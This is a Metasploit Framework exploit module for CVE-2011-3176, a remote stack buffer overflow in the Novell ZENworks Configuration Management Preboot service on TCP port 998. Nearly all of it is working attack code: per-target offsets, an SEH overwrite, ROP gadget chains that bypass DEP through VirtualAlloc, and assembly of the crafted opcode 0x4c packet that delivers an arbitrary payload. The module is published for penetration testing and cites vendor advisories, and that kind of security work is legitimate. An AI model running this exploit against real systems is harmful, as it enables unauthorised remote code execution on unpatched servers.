Novell ZENworks Configuration Management Preboot Service – 0x4c Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow', 'Description' => %q{ This module exploits a remote buffer overflow in the ZENworks Configuration Management. The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted packet with the opcode 0x4c (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass). }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Vulnerability Discovery 'juan' # Metasploit module ], 'References' => [ [ 'CVE', '2011-3176' ], [ 'OSVDB', '80231' ], [ 'BID', '52659' ], [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ], [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'BadChars' => "\x00", 'Space'=> 994, 'DisableNops' => true, 'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500 }, 'Platform' => ['win'], 'Targets' => [ [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2', { 'Offset' => 1100, 'OffsetBottomStack' => 1148, 'OffsetRop' => 4, 'Ret' => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll } ], [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2', { 'Offset' => 1100, 'OffsetBottomStack' => 1136, 'Ret' => 0x100012e9 # add esp, 0x41c # ret - zenimgweb.dll } ] ], 'Privileged' => false, 'DisclosureDate' => 'Feb 22 2012', 'DefaultTarget' => 0)) register_options([Opt::RPORT(998)], self.class) end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("L")[0].to_i end # rop chain generated with mona.py def create_rop_chain() if target.name =~ /Novell ZENworks Configuration Management 10 SP3/ rop_gadgets = [ 0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll] 0x00001000, # 0x00001000-> edx 0x100239df, # POP ECX # RETN [zenimgweb.dll] 0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll] 0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll] junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) 0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll] 0x00423ddd, # POP EBP # RETN [novell-pbserv.exe] 0x10007b22, # & push esp # ret [zenimgweb.dll] 0x100235dc, # POP EBX # RETN [zenimgweb.dll] 0x00000001, # 0x00000001-> ebx 0x0041961a, # POP ECX # RETN [novell-pbserv.exe] 0x00000040, # 0x00000040-> ecx 0x1004702b, # POP EDI # RETN [zenimgweb.dll] 0x1001d001, # RETN (ROP NOP) [zenimgweb.dll] 0x10011217, # POP EAX # RETN [zenimgweb.dll] nop, 0x10018ec8, # PUSHAD # RETN [zenimgweb.dll] ].pack("V*") else # Novell ZENworks Configuration Management 10 SP2 rop_gadgets = [ 0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll] 0x00001000, # 0x00001000-> edx 0x10062113, # POP ECX # RETN [zenimgweb.dll] 0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll] 0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll] junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) 0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll] 0x1002fd05, # POP EBP # RETN [zenimgweb.dll] 0x10043053, # & push esp # ret [zenimgweb.dll] 0x1003cbf8, # POP EBX # RETN [zenimgweb.dll] 0x00000001, # 0x00000001-> ebx 0x00423eeb, # POP ECX # RETN [novell-pbserv.exe] 0x00000040, # 0x00000040-> ecx 0x1003173e, # POP EDI # RETN [zenimgweb.dll] 0x10020801, # RETN (ROP NOP) [zenimgweb.dll] 0x00406b58, # POP EAX # RETN [novell-pbserv.exe] nop, 0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll] ].pack("V*") end return rop_gadgets end def exploit connect buf = "A" * 4 buf2 = "B" * 4 buf3 = "C" * 4 buf4 = create_rop_chain buf4 << payload.encoded buf4 << "D" * (target['Offset'] - buf4.length) buf4 << generate_seh_record(target.ret) buf4 << "F" * (target['OffsetBottomStack'] - buf4.length) my_buf = "" buf4.unpack("C*").each {|b| my_buf << [b].pack("C") my_buf << rand_text(1) } packet = [0x4c].pack("N") # Opcode 0x4C packet << [buf.length].pack("N") # Length packet << buf # Value packet << [buf2.length].pack("N") # Length packet << buf2 # Value packet << [buf3.length].pack("N") # Length packet << buf3 # Value packet << [my_buf.length].pack("N") # Length packet << my_buf # Value sock.put(packet) disconnect end end |